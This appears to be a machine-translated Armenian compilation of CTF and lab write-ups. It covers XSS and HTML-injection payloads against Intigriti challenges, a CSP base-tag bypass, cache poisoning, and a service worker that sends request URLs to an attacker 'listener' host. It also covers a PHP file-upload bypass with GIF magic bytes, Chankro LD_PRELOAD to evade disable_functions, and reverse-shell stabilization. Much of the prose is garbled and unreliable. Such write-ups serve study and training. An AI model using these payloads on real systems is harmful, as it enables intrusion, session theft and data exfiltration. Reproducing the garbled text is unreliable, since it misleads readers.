Արդյունքում ստացված տարրը վերափոխում ենք տեքստի օգտագործմամբ Ներերք Ճիշտ ցուցադրման համար:
"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"
Քանի որ այս ինքնակառավարման xss- ը հասանելի է միայն խմբագրման ընթացքում, մենք պետք է գտնենք եւս մեկ խոցելիություն, որը կհասնի ազդեցության: Սովորաբար, այդպիսի XSS- ը կարող է օգտագործվել CSRF- ի հետ համատեղ, բայց այս լաբորատորիայում կա սահմանափակում CSRF նշանի տեսքով, ինչը թույլ չի տա ձեզ կեղծել.
HTML-ներարկում
Բլոգի էջում գրառումը պահպանելուց հետո, բացի ծանրաբեռնվածությունից, դաշտում պահվածը նույնպես ցուցադրվում է բովանդակություն զրո կոճղ:
CSRF-Token, Որն օգտագործվում է հետագա խնդրանքով, նույնը, ինչ մեկնաբանություն գրելիս, այնպես որ ես փորձեցի կապել այն կոճակը, որը ես ավելացրել եմ մեկնաբանության ձեւով:
<button form=comment-form formaction="/edit">Click Me</button>
Իրականացված կոճակը սեղմելուց հետո կարող եք տեսնել, որ հայցը /Խմբագրել Կատարվել է, բայց հայտնվում է նախազգուշացում դատարկ դաշտերի վերաբերյալ բովանդակություն Մի քանազոր պիտակներ:
Այս դաշտերը լրացնելու համար ես օգտագործում եմ պիտակներ մուտքագրում, Ես դրանք կապում եմ իմ կոճակով եւ ավելացնում եմ օգտակար բեռ Ինքնուրույն:
<button form=comment-form formaction="/edit">Click Me</button>
<input form=comment-form name=content value="XSS it worked">
<input form=comment-form name=tags value='"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"
'>
Payload- ը ցուցադրվում է էջում:
Կոճակը սեղմելուց հետո մենք կարող ենք դա հաստատել Ինքնուրույն իրականացվում է, եւ գրառումը խմբագրվել է:
Այժմ, եթե գնում եք գրառման, ծանրաբեռնվածությունը հարուցվում է:
Թվում է, թե դա բավարար է, բայց օգտագործողի կողմից դեռ կան մի քանի գործողություններ. Կոճակը սեղմելու համար գնացեք խմբագրման էջ.
Դուք պետք է փորձեք գտնել ավելի համընդհանուր գործողության ձեւ.
Լուծում փնտրելու համար տեսնենք js, որը գործում է էջում:
Եթե ինչ-որ մեկը մուտք է գործում հղում եւ ավելացնում է բաժնետոմսերի պարամետրը, ապա ընտրիչը ընտրելու է տարրը DOM- ից, որն ունի բաժնետիրական կոճակ, որը կտեւի այս կոճակը, որը թույլ կտա մեզ հեռացնել այս կոճակը.
Խմբագրել մեր օգտակար բեռը HTML ներարկումներ:
<button form=comment-form formaction="/edit" id=share-button>Click Me</button>
<input form=comment-form name=content value="XSS it worked">
<input form=comment-form name=tags value='"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"'>
Բլոգի բլոգի հղում կատարելուց հետո ոչինչ չի պատահում, բայց եթե ավելացնենք հարցումը Ստացեք պարամետր Կիսվեք իմաստով 1, Այնուհետեւ ծանրաբեռնվածությունը հաջողությամբ կաշխատի:
https://challenge-1222.intigriti.io/blog/94e7b406-4620-49fe-b5fb-eac35f737b3f?share=1
Մնում է հեռացնել վերջին գործողությունը. Ավելացնել օգտագործողի վերահղումը / խմբագրել բեռը ավելացնելուց հետո.
Էջի վերափոխումը կարող է ավելացվել օգտագործելով HTML:
<meta http-equiv="refresh" content="0;URL=/edit"/>
Վերջնական ծանրաբեռնվածությունը այսպիսին է:
<button form=comment-form formaction="/edit" id=share-button>Click Me</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="0;URL=/edit"/>'>
<input form=comment-form name=tags value='"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"'>
Ծանրաբեռնվածությունը հաջողությամբ կիրառվում է, եւ Ինքնուրույն կատարվում է մեկ գործողության մեջ:
CSP շրջանցում
HTML-ներարկումն օգտագործելու եւ CSP- ում խնդիրը լուծելու եւս մեկ տարբերակ կա.
Մենք դիմում ենք ռեսուրսինCSP- գնահատողՀրահանգները ստուգելու համար:
Այստեղից դուք կարող եք հասկանալ, որ մենք կարող ենք տեղադրել URL հիմնական հասցեն `արտաքին js սցենարները բեռնելու համար.
Մենք տեղ ենք դնում մեր սերվերի վրա Js ֆայլ ճանապարհին ծանրաբեռնվածությամբ Ստատիկ / JS / Bootstrap.bundle.min.js, որովհետեվԱյս ուղին բացահայտվում է էջի կոդով: Բովանդակություն Js ֆայլ Դա նման կլինի:
alert(document.getElementsByClassName("navbar-brand")[0].innerText)
Ողջույն բեռը գովազդի համար Հիմք Այն թվում է, որ այն պետք է ավելացվի դաշտում բովանդակություն Բլոգը խմբագրելիս:
<base href="https://listener">
Հղումը բացելուց հետո Ինքնուրույն Անմիջապես պրակտիկայում:
Xss + webCachepoisoning + ֆայլի վերբեռնման + ծառայության աշխատող
Լաբորատորիան բաղկացած է երկու մասից `լաբորատորիա եւ API, Որին ձեզ հարկավոր է հղում ուղարկել բեռի հետ:
https://api.challenge-1122.intigriti.io/admin?url=
Սկզբնապես գրանցումը մատչելի չէ `ներկայացնելու ունակության բացակայության պատճառով օգտվել, Բայց այս սահմանափակումն իրականացվում է, եթե ջնջեք ընթերցան="" Tag- ից մուտքագրում Դաշտի համար օգտվել, Այնուհետեւ մենք կարող ենք հաջողությամբ գրանցվել:
Դիմումում առկա են նոտաներ եւ avatar բեռներ ավելացնելու գործառույթները:
Կարող եք նկատել, որ avatar- ը բեռնված է երրորդ-մասի տիրույթով, եւ սա CDN:
Եթե մենք դիմենք այս տիրույթի ոչ-նմուշի պատկերին, ապա մենք սխալ ենք ստանում, եւ սխալով հարցում կարող եք ուշադրություն դարձնել կարեւոր մանրամասնության վրա: X-Cache Haber- ի բովանդակությունը:
Ստացված տեղեկատվությունից, կարող եք դա հասկանալ CDN Օգտագործվում է պատասխանների պահումը, եւ առաջինը, որ գալիս է մտքում, փորձել գտնել Xss Այս խնդրանքով.
Քանի որ մենք վերահսկում ենք այն ֆայլի անվանումը, որը արտացոլում է պատասխանը, մենք կփորձենք ավելացնել օգտակար բեռը:
Բայց, ցավոք, զննարկիչում խոցելիությունից օգտվելիս մենք բախվում ենք այն փաստի, որ հատուկ համակարգերը կոդավորված են օգնությամբ Url, որը կանխում է սցենարի իրականացումը:
Պատասխանը ընկնում է քեշի մեջ `մեկ պայմանի կատարման մեջ. Սա բեռնված պատկերի անվանման վերջում երկարաձգման պարտադիր ներկայությունն է (.PNG, .jpg եւ ուրիշներ), Շարունակեք, որի միջոցով կարող եք օգտակար բեռ ավելացնել ընդարձակման համար:
WebCachePoisoning + Bypass URL կոդավորում
Վճարը ընկնում է ի պատասխան սերվերից, եւ այդ ժամանակ պատասխանը պահոցն է: Նախ անհրաժեշտ է պատասխան տալ նախնական ծանրաբեռնվածությամբ.
Հաջորդ հատումում Url, Ծանրաբեռնվածությունը կաշխատի եւ կոդավորում է Url, որը խանգարում է զննարկչի միջոցով գործողություններին, այն չի գործի:
Ֆայլի վերբեռնեք + ծառայության աշխատող
Անձնանշան բեռի ֆունկցիոնալությունը ունի նաեւ խոցելիություն. Կան որեւէ ֆայլ ներբեռնելու հնարավորությունը ցանկացած երկարաձգմամբ.
Հետագա շահագործման համար, պատկերի փոխարեն, ես բեռնում եմ Js ֆայլ Ծանրաբեռնվածությամբ:
Փոխեք օգտակար բեռը եւ ուղարկեք հայցը պահելու համար բեռը եւ ֆայլի ճանապարհը պարունակող պատասխանը, որը մենք վերբեռնեցինք որպես avatar:
https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?<script/src="avatar-wr3d.js"></script>.png
Երբ կապը բացվի, պահոցների արձագանքման պրակտիկան եւ Xss Լցված:
Ծառայության աշխատող
Ծառայության աշխատող — Սա սցենար է, որը գրանցվում է զննարկչի կողմից եւ աշխատում է առանձին `վեբ հավելվածի հիմնական հոսքից: Այն թույլ է տալիս ընդհատել ցանցի իրադարձությունները (օրինակ, պահանջներ եւ պատասխաններ), վերահսկել պահոցը եւ տրամադրել անցանց ֆունկցիոնալություն.
Գործողության ընթացքում Xss, Ծառայության աշխատող Այն կարող է օգտագործվել վնասակար կոդ եւ երթեւեկության փոխկապակցվածություն ներմուծելու համար: Մենք կարող ենք փոխել գրանցվածը Ծառայության աշխատող, Ցանցի պահանջները ընդհատել եւ փոփոխել: Սա կարող է հանգեցնել, օրինակ, գաղտնի տեղեկատվության արտահոսքի.
Ստորեւ ներկայացված է տարբերակը Ծառայության աշխատող, Ով է լսում իրադարձությունները հմայել. Երբ իրադարձությունը հարուցվում է հմայել Կատարվում է այլ գործառույթի ասինխրոն մարտահրավեր հմայել, փոխադրում Ստացեք PARS վերահսկվող սերվերի վրա:
self.addEventListener('fetch', (event) => {
fetch(`https://listener/qwe?${event.request.url}`)
});
Մեր դեպքում օրենսգիրքը պարզապես հայց է ուղարկում սերվերին `պարամետրը հավելումով "qwe" Եւ իմաստը URL հարցում.
Լրացուցիչ մանրամասներ Ծառայության աշխատող
Մենք բեռնում ենք Ծառայության աշխատող:
Ուղարկեք օգտակար բեռ բեռնավորման համար Ծառայության աշխատող Էջում սերվերից պատասխանը անպայման պետք է մտնի քեշի մեջ:
<script>navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});</script>.png
Պատճեն URL հասցեն ներդրված Xss Եւ ուղարկեք կառավարիչը:
https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?<script>navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});</script>11111.png
Բացի այդ, պարզվեց, որ դիմումը ունի փորձարկման դիրք, որը կարող է օգտագործվել կառավարչի թույլտվության նույնականացման համար
https://staging.challenge-1122.intigriti.io/signup
Մենք գիտենք ադմինիստրատորի անունը XSS- ի շահագործման ընթացքում սերվերին եկած խնդրանքից.
Մենք փորձում ենք գրանցվել ադմինիստրատորի նույնացուցիչի հետ եւ օգտագործել այն Jwt-token Հիմնական տիրույթի թույլտվության համար.
Այն աշխատում է: Հիմա մնում է վերցնել Jwt, Մուտք գործեք կառավարչի անունից հիմնական տիրույթում եւ ստացեք վերջնական դրոշը Անձնանշան:
🧩 3. File Upload Vulnerability
Ինչ է ֆայլի վերբեռնումը vulnerabs?
Ֆայլի վերբեռնումը խոցելիորեն խոցելիություն է, որը տեղի է ունենում վեբ ծրագրերում, որտեղ հնարավոր է ներբեռնել ֆայլ, առանց դրա միջոցով անվտանգության համակարգը, ինչպես անունը, տեսակը, բովանդակությունը կամ չափը ստուգելը: Ֆայլերի վրա սահմանափակումների պատշաճ կիրառման անկարողությունը կարող է նշանակել, որ նույնիսկ պատկերների ներբեռնելու հիմնական գործառույթը կարող է օգտագործվել կամայական եւ հավանական վտանգավոր ֆայլեր ներբեռնելու համար.
Խոցելիության առկայությունը թույլ է տալիս հարձակվողին ներբեռնել ֆայլերը մեկնաբանված կոդով (գրություններ, ինչպիսիք են գրությունները) .php, .aspx եւ այլն) եւ գործարկեք դրանք նույն սերվերի վրա, որի վրա օրինական վեբ դիմումի աշխատանքներ են կատարում.
Որն է ֆայլի ներբեռնելու խոցելի ազդեցությունը?
Ֆայլի ներբեռնելու խոցելիության ազդեցությունը սովորաբար կախված է երկու հիմնական գործոններից:
- Վեբ կայքի ֆայլի որ կողմն է ճիշտ ստուգում;
- Ինչ սահմանափակումներ են սահմանվում ֆայլի վրա `դրա հաջող բեռնելուց հետո.
Ամենավատ դեպքում ֆայլի տեսակը պատշաճ կերպով չի ստուգվում, եւ սերվերի կազմաձեւը թույլ է տալիս կատարել որոշակի տեսակի ֆայլեր (օրինակ, .php կամ .jsp). Այս դեպքում հարձակվողը կարող է վերբեռնել վեբ սերվերին վնասակար կոդով ֆայլը վերբեռնել ֆայլը.
Եթե ֆայլի անունը չի ստուգվում պատշաճ կերպով, այն կարող է թույլ տալ հարձակվողին վերաշարադրել կարեւոր ֆայլերը, պարզապես ներբեռնելով ֆայլը նույն անունով (օրինակ, վերաշարադրել ֆայլը) .htaccess Վեբ դիմումի որոշ սահմանափակումներ շրջանցելու համար): Եթե սերվերը նույնպես խոցելի է կատալոգների խոցելիության համար շրջանցող, հարձակվողը կարող է փորձել ներբեռնել ֆայլը չնախատեսված վայրերում (օրինակ, ֆայլի վերաշարադրումը) ~/.ssh/authorized_keys եւ ձեր փակ ստեղնով ավելացրեք սերվերի ձեր բաց ստեղնը SSH սերվերի վրա).
Ֆայլի չափը ստուգելու անկարողությունը կարող է հանգեցնել հարձակման տիպի «Հրաժարումից հրաժարվելը» (DOS), երբ հարձակվողը լրացնում է մատչելի սկավառակի տարածքը.
Ինչպես վեբ սերվերները մշակում են ստատիկ ֆայլերի համար?
Նախքան հաշվի առնենք ֆայլի ներբեռնելու խոցելիության հատուկ դեպքը, կարեւոր է, որ դուք ընդհանուր պատկերացում ունեք, թե ինչպես սերվերները ընդհանուր առմամբ սերվերներ են մշակում ստատիկ ֆայլերը.
Պատմականորեն, կայքերը գրեթե ամբողջությամբ բաղկացած էին ստատիկ ֆայլերից, որոնք պահանջվում էին օգտվողներին: Արդյունքում, յուրաքանչյուր խնդրանքի ուղին կարող է ճշգրիտ համեմատել սերվերի ֆայլերի համակարգում կատալոգների եւ ֆայլերի հիերարխիայի հետ: Ներկայումս վեբ կայքերը դառնում են ավելի դինամիկ, եւ հարցման ուղին հաճախ հաճախ ուղղակիորեն կապված չէ ֆայլային համակարգի հետ (դա կարող է տեսնել այն դիմումում): Այնուամենայնիվ, վեբ սերվերները շարունակում են մշակել որոշ ստատիկ ֆայլեր, ներառյալ .js, .css, Պատկերներ եւ այլն:.
Այս ստատիկ ֆայլերի մշակման գործընթացը չի փոխվել: Ինչ-որ պահի սերվերը վերլուծում է հայցի ուղին `ֆայլի երկարաձգումը որոշելու համար: Այնուհետեւ նա օգտագործում է դա `պահանջվող ֆայլի տեսակը որոշելու համար, սովորաբար համեմատելով այն ընդարձակման եւ MIME տեսակի նախնական համեմատությունների ցանկով: Հետագա գործողությունները կախված են ֆայլի եւ սերվերի կազմաձեւման տեսակից:
- Եթե ֆայլի այս տեսակը գործադիր չէ, օրինակ, պատկեր կամ ստատիկ HTML էջ, սերվերը կարող է պարզապես ֆայլի բովանդակությունը ուղարկել հաճախորդին HTTP.
- Եթե ֆայլի տեսակը գործադիր է, օրինակ, PHP ֆայլը, եւ սերվերը կազմաձեւված է այս տեսակի ֆայլեր իրականացնելու համար, այն կներկայացնի փոփոխականներ HTTP հարցումի հիման վրա, նախքան սցենարը գործարկելը: Ստացված արդյունքը, ապա կարող է ուղարկվել հաճախորդին HTTP.
- Եթե ֆայլի տեսակը գործադիր է, բայց սերվերը կազմաձեւված չէ այս տեսակի ֆայլեր իրականացնելու համար, այն սովորաբար պատասխանում է սխալով: Այնուամենայնիվ, որոշ դեպքերում ֆայլի բովանդակությունը դեռ կարող է փոխանցվել հաճախորդին `կանոնավոր տեքստի տեսքով: Նման սխալ-ինֆիգուրացիաները երբեմն կարող են օգտագործվել աղբյուրի կոդը եւ այլ գաղտնի տեղեկատվություն արտահոսելու համար.
Նշում. Պատասխանների վերնագրի բովանդակության տեսակը կարող է բանալին տալ հասկանալու, թե որ ֆայլը, ըստ սերվերի, նա ծառայեց: Եթե այս վերնագիրը հստակ սահմանված չէ դիմումի ծածկագրով, այն սովորաբար պարունակում է ֆայլի երկարաձգումը եւ MIME տեսակը համեմատելու արդյունքը.
Կարող եք ավելին կարդալ ֆայլի ներբեռնելու խոցելիության մասին Պորտսվիգգերի ակադեմիա (Ես ուշադրություն կդարձնեմ հետաքրքիր լաբորատորիայի վրա `shella պատկերով եւ ռասայական վիճակի շահագործման մեջ).
Այժմ, երբ մենք համառոտ ծանոթացանք խոցելիության հետ, մենք կիմանանք, թե ինչպես են մշակողները փորձում իրենց պաշտպանվել նրանից.
Գործիքներ
Այս հոդվածը կքննարկի օրինակ, որը կապված է PHP- ի հետ.
Համացանցի բեռնումից պաշտպանվելու միջոցառումների շարքում մշակողները օգտագործում են անջատումը վտանգավոր գործառույթները, որոնք կարող են իրականացնել գործառնական համակարգի հրամաններ կամ գործարկել գործընթացներ: PHP- ում սրանք գործառույթներ են system() կամ shell_exec(). Հայտերը մշակելիս նրանք հաճախ անջատված են կազմաձեւման ֆայլում սահմանված PHP հրահանգների միջոցով php.ini. Այլ գործառույթներ, հնարավոր է, պակաս հայտնի են (օրինակ dl(), Որը թույլ է տալիս դինամիկ կերպով բեռնավորել PHP- ի ընդլայնումը) կարող է աննկատ մնալ համակարգի ադմինիստրատորի կողմից եւ չի կարող անջատվել: Բեմներից մեկը փորձարկվում է վեբ դիմումի ներթափանցման համար, թե որ գործառույթներն ընդգրկված են (եթե մշակողի կողմից մնացած վտանգավոր գործառույթների որոշ դեպքերում մոռացված լինեին).
Ինչ գիտենք ավելի քիչ »ակնհայտ գործառույթների մասին"?
Ամենապարզ եւ ոչ շատ ընդհանուր տեխնիկայից մեկը գործառույթների չարաշահումն է mail() Մի քանազոր putenv(). Այս տեխնիկան նոր չէ, Gat3way- ն արդեն հաղորդել է PHP- ն իր մասին 2008 թ, Բայց նա աշխատում է մինչ օրս: Օգտագործելով գործառույթ putenv() Մենք կարող ենք փոխել շրջակա միջավայրի փոփոխականները, ինչը թույլ կտա մեզ նշանակել փոփոխականի ցանկալի արժեքը LD_PRELOAD. LD_PRELOAD թույլ կտա մեզ նախապես ներբեռնել գրադարանը .so գրադարանների մնացած մասի դիմաց, այնպես որ, եթե ծրագիրը օգտագործում է գրադարանի գործառույթը (օրինակ, libc.so), Այն կկատարի մեր գրադարանում պարունակվող գործառույթը: Այսպիսով, մենք կարող ենք գրավել կամ «ընդհատել» գործառույթները, փոխելով իրենց պահվածքը մեր հայեցողությամբ.
Այսօր մենք ավելի շատ կխոսենք այս տեխնիկայի մասին: Օրինակ, ես կօգտագործեմ Շրոց, Circle գործիք disable_functions Մի քանազոր open_basedir.
Chankro- ի միջոցով մենք առաջացնում ենք PHP սցենար, որը գործելու է կաթիլային, ստեղծելով գրադարան: S. եւ երկուական ֆայլ (օրինակ, MeterPrete) կամ Bash սցենարի (հակադարձ shell): Այնուհետեւ գործառույթը կհանգեցնի գործառույթի putenv() Մի քանազոր mail() Մեր վնասակար ֆայլը գործարկելու համար.
Գործիքը կարող եք տեղադրել հետեւյալ կերպ:
git clone https://github.com/TarlogicSecurity/Chankro.git cd Chankro python2 chankro.py --help
Գործարկեք այն հաջորդ թիմի հետ:
python2 chankro.py --arch 64 --input c.sh --output shell.php --path /var/www/html
--arch— զոհերի ճարտարապետություն (32 կամ 64);--input— Ֆայլը ծանրաբեռնվածությամբ կատարման համար;--output— PHP ֆայլի անվանումը, որը մենք պատրաստվում ենք ստեղծել; Սա այն ֆայլն է, որը պետք է ներբեռնվի խոցելի վայր;--path— Այս պարամետրում անհրաժեշտ է նշել բացարձակ ճանապարհը, որի կողքին գտնվում է մեր վերբեռնված PHP ֆայլը: Օրինակ, եթե մեր ֆայլը վերբեռնումների թղթապանակում է, ապա նշված ճանապարհը հետեւյալն է. Documentroot + - ը վերբեռնում է).
Այժմ, վեբ սերվերում PHP սցենար կատարելիս կստեղծվի անհրաժեշտ ֆայլեր `մեր ծանրաբեռնվածությունը կատարելու համար.
Պրակտիկա
Օրինակ, կոտրեք խոցելի մեքենան Tryhackme հարթակից: Առաջին դեպքերը սկանավորում են ստացված IP հասցեն, օգտագործելով NMAP | Rustscan- ը կստանա բաց նավահանգիստների ցանկ, նրանց համար ծառայություններ եւ նախնական տեղեկություններ հավաքեք նպատակի վերաբերյալ: Այս նպատակների համար ես օգտագործում եմ մի պարզ սցենար, որը ես բազմիցս խոսեցի անցած հոդվածներում:
Մենք տեսնում ենք, որ 22 եւ 80 նավահանգիստը բաց են: 22 նավահանգիստը (SSH) մեզ չի հետաքրքրում, ուստի մենք կսկսենք ուսումնասիրել 80 (HTTP): Սա վեբ սերվեր է, հետեւաբար մենք գործարկում ենք Burp, սահմանել ռեսուրսների շրջանակը եւ սկսում է դիմումի ձեռքով շրջանցումը:
Գրեթե անմիջապես մենք վերեւում հղում ենք գտնում, ինչը մեզ տանում է ռեզյումեի բեռնման էջը, որը թույլ է տալիս մեզ բեռնել ԱՄՆ ֆայլերը:
Էջում ցուցադրված տեղեկատվությունից մենք կարող ենք եզրակացնել, որ դիմումը թույլ է տալիս բեռնել միայն պատկերները (պաշտպանության առաջին փուլը): Դե, եկեք փորձենք շրջանցել ֆիլտրերի շուրջը.
Առաջին հերթին ես ստեղծեցի թղթապանակ տարբեր ընդարձակման երեք ֆայլերով. 2 նկար եւ մեկ վնասակար PHP սցենար:
Սկսենք PHP սցենարը ներբեռնելու փորձից:
Ինչպես տեսնում ենք, դիմումը վերադարձավ 200 պատասխան: Միգուցե ընդհանրապես զտիչ չկա: Փորձենք գտնել այնտեղ, որտեղ ֆայլը ներբեռնում է: Դա անելու համար մենք կտեսնենք գրացուցակը FFUF- ի հետ:
Արդյունքը զարմանալի է: Բացի ներբեռնման հավանական թղթապանակից, մենք գտել ենք նաեւ մի ֆայլ, որը ցուցադրում է PhPinfo () գործառույթի արդյունքը: Բայց եկեք ավելի ուշ վերադառնանք դրան, եւ այժմ մենք կշարունակենք ուսումնասիրել ներբեռնման գործառույթը.
Եկեք գնանք վերբեռնման գրացուցակ եւ տեսնենք դրա բովանդակությունը:
Այն փաստը, որ ցանկը հասանելի է մեզ համար, մեծապես հեշտացնում է առաջադրանքը: Բայց մեր ֆայլը այստեղ չէ, հետեւաբար կա մի տեսակ ստուգում: Եկեք փորձենք հիմա ներբեռնել GIF ֆայլը:
Արդյունքը երկար չէր գալու մեջ: Անմիջապես մենք նկատում ենք փոփոխություններ վեբ էջի պատասխանը, եւ ֆայլը տեսանելի է գրացուցակը ցուցակագրելիս: Դե, ահա մենք ունենք երկու եղանակ. Պատկերը վերամբարձ ներարկելու փորձ (այս առաջադրանքի շրջանակներում չի գործի) եւ շրջանցելով ֆիլտրերը: Ինչպես արդեն պարզ է դարձել, մենք շրջանցելու ենք զտիչները!
Եկեք սկսենք որոնել սերվերի պահանջների եւ պատասխանների տարբերությունը երկու ֆայլերը բեռնելու ժամանակ:
Ես կարեւորեցի կարմիրի հիմնական կետերը: Պաշտպանությունը շրջանցելու 3 հավանական եղանակ կա:
- Փոխեք ֆայլի երկարացումը (կարող է ազդել ֆայլի հետագա կատարման անհնարինության վրա));
- Փոխեք բովանդակության տեսակը;
- Փոխեք կախարդական համարները.
Եկեք միանգամից կատարենք առաջին 2 հնարքներ:
Բացառմամբ, մենք հասկանում ենք, որ ֆայլի ստուգման էությունը սերվերի կողմից իջնում է իր առաջին բիթերը ստուգելու համար իրական ընդլայնումը պարզելու համար (քանի որ դաշտերը ակնհայտորեն ճշմարիտ են, եւ այդ պատճառով):
Այն ամենը, ինչ մնում է մեզ համար անել, GIF- ի տակ ձեւավորել PHP սցենարը `ավելացնելով GIF- ում բնորոշ առաջին մի քանի բայթ:
Ես կօգտագործեմ երկրորդ տարբերակը, քանի որ նա ակնհայտորեն աշխատում է :)
Դա կարելի է անել տեղական մեքենայի վրա hexeditor (նախապես տեղադրված Kali) օգտագործմամբ, կամ կարող եք Burp Repeater- ում:
Մենք հաջողությամբ շրջեցինք բոլոր սահմանափակումների շուրջը: Այնուամենայնիվ, այս կեղեւը չի գործի:
Եկեք վերադառնանք Phpinfo.php- ի մասին փլուզման գրացուցակի պահին:
Գործառույթ phpinfo(), Այն եզրակացությունը, որի արդյունքում մենք տեսնում ենք էկրանին, տեղեկատվություն է ցուցաբերում PHP- ի ընթացիկ կազմաձեւի մասին, բացահայտելով մեծ քանակությամբ զգայուն տեղեկատվություն: Նրանց թվում կա տեղեկատվություն անջատման գործառույթների մասին:
Սցենարի մեջ ես օգտագործում էի shell_exec, որը սերվերը չի մշակվի: Հետեւաբար, մեր կեղեւը չի գործում: Բայց մեր երջանկությանը այստեղ արգելված չեն putenv() Մի քանազոր mail().
Մենք կարող ենք օգտագործել նախկինում քննարկված գործիքը: Բայց նրա համար մենք պետք է նաեւ իմանանք ներբեռնման գրացուցակը վեբ դիմումում: Այնուամենայնիվ, այս նպատակների համար մենք ունենք ... phpinfo!
Մենք փնտրում ենք փոփոխական Document_root եւ վերցրեք դրա իմաստը:
/VAR / WWW / HTML / FA5FBA5F5A39D27D8BB7FE5F518E00DB
Մենք հիշում ենք, որ մեզ հետաքրքրում է բեռնման պանակի ճանապարհը, ուստի արդյունքում ստացված ճանապարհը այսպիսին կլինի:
/VAR / WWW / HTML / FA5FBA5F5A39D27D8BBB7FE5F518E00DB / Բեռնումներ
Shella ստեղծելուց հետո մենք փորձում ենք ներբեռնել այն `դիմադրելու խնդրանքը` կախարդական համարները փոխելու համար:
Մենք ընդհատում ենք մեր խնդրանքի պատասխանը:
Մենք զննարկիչում ենք գնում վերբեռնումից մինչեւ shell.php եւ ... Ոչինչ տեղի չի ունեցել: Մի փոքր անց ես հասկացա սխալը եւ մի փոքր շտկեցի սցենարը:
Այս դեպքում ես ավելացրեցի Shebang- ը, նորից բեռնված սցենարը, փոխարինեց կախարդական numans- ին եւ կատարեց այն, բռնելով հակառակ թաղանթը:
Այստեղ ես կթողնեմ եւս մեկ օգտակար հնարք, կճեպի կայունացման համար, որը ես բազմիցս օգտագործել եմ հոդվածներում, բայց երբեք մանրամասն նկարագրեցի: Կեղեւը, որը բռնել է NC- ն, չափազանց անկայուն է, ունի տգեղ եզրակացություն եւ հնարավորություն է տալիս տեղափոխվել մուտքագրվող հրամաններ, թիմերի պատմության մեջ գործեք վերոհիշյալների վերեւում գտնվող վերեւում գտնվող նետերը եւ այլն:.
Կեղեւը կայունացնելու համար հարկավոր է անել հետեւյալը:
1) Մենք ստեղծում ենք կեղծ -թրերապալ, մինչ այդ իմացանք առկա պիթոնի վարկածը (whereis python, whih python):
python -c 'import pty; pty.spawn("/bin/bash")'
python2 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
2) Մենք գրում ենք export TERM=xterm — Սա մեզ հնարավորություն կտա մուտք ունենալ տերմինների թիմեր, ինչպիսիք են clear;
3) Ctrl + Z — Backgrandim Shell;
4) stty raw -echo; fg; — Անջատեք արձագանքը հրամանի տողի վրա եւ վերադարձեք NC- ն առաջին պլանը.
Ես կմեկնեմ Նանոյին, ցույց տալու, որ նման գործառույթն այժմ հասանելի է:
Կարեւոր է: Աշխատանքի ավարտից հետո (գործընթացի կամ ելքի սպանություն), դուք պետք է գրեք reset տերմինալում վերադառնալ նորմալ CLI.
HTML ներարկում - կանխարգելման տեսակներ եւ մեթոդներ
Այս հոդվածում մենք կքննարկենք այս տեսակի հարձակումը վեբ ծրագրերում, որպես HTML - ներարկում.
Ներարկման այս տեսակի հարձակման էությունը HTML կոդի ներդրումն է կայքի խոցելի մասերի միջոցով: Հարձակվողը HTML ծածկագիրը ուղարկում է ցանկացած խոցելի դաշտի միջոցով `կայքի ձեւավորումը կամ օգտագործողի կողմից ցուցադրված ցանկացած տեղեկատվության փոփոխման համար.
Արդյունքում, օգտագործողը կարող է տեսնել հարձակվողի կողմից ուղարկված տվյալները: Հետեւաբար, ընդհանուր առմամբ, HTML- ը `գծանշելը պարզապես նշող լեզվով ներարկում է էջի փաստաթղթում.
Այս տեսակի ներարկման ընթացքում ուղարկված տվյալները կարող են մեծապես տարբերվել: Այն կարող է լինել մի քանի HTML պիտակներ, որոնք պարզապես կցուցադրեն ուղարկված տեղեկատվությունը: Դա կարող է լինել նաեւ ամբողջ կեղծ ձեւը կամ էջը: Երբ այս հարձակումը տեղի է ունենում, զննարկիչը սովորաբար մեկնաբանում է օգտագործողի վնասակար տվյալները, որքան թույլատրելի եւ ցուցադրում դրանք.
Կայքի տեսքը փոխելը միակ ռիսկը չէ, որ այս տեսակի հարձակումը կրում է: Սա շատ նման է XSS-Atak- ին, երբ հարձակվողը գողանում է այլ մարդկանց անձնական տվյալները: Հետեւաբար, այս ներարկման ընթացքում կարող է առաջանալ նաեւ օգտագործողի անձնական տվյալների գողություն.
Այս հարձակումը շատ դժվար չի թվում հասկանալու կամ կատարման համար, քանի որ HTML- ը համարվում է բավականին պարզ լեզու: Այնուամենայնիվ, այս տեսակի հարձակումը կատարելու տարբեր եղանակներ կան: Մենք կարող ենք կարեւորել նաեւ այս ներարկման տարբեր տեսակներ.
Նախ եւ առաջ տարբեր տեսակներ կարող են տեսակավորվել իրենց կրող ռիսկերով.
Ինչպես արդեն նշվեց, ներարկման այս հարձակումը կարող է իրականացվել երկու տարբեր նպատակներով:
Բացի այդ, ներարկումների օգտագործմամբ այս հարձակումը կարող է իրականացվել կայքի տարբեր մասերի միջոցով, օրինակ, տվյալների մուտքային դաշտերը եւ հղումը կայքի հետ.
Այնուամենայնիվ, հիմնական տեսակներն են:
Այս երկու տեսակի ներարկումների հիմնական տարբերությունն այն է, որ HTML ներարկման պահված հարձակումը տեղի է ունենում այն ժամանակ, երբ HTML վնասակար ծածկագիրը վեբ սերվերում է եւ կատարվում է ամեն անգամ, երբ օգտագործողը առաջացնում է համապատասխան գործառույթ.
Այնուամենայնիվ, արտացոլված ներարկումով հարձակման դեպքում վնասակար HTML ծածկագիրը անընդհատ չի մնում համացանցային սերվերի վրա: Արտացոլված իրականացումը տեղի է ունենում այն ժամանակ, երբ կայքն անմիջապես արձագանքում է վնասակար ներդրմանը.
Սա կարող է կրկին բաժանվել մի քանի տեսակի:
Արտացոլված իրականացման հարձակումը կարող է իրականացվել այլ կերպ կախված HTTP մեթոդներից, այսինքն, ստացեք եւ փակցրեք: Հիշեցնեմ ձեզ, որ գրառման մեթոդը օգտագործելը, տվյալները ուղարկվում են, եւ պահանջվում է ստանալ ստացման մեթոդը.
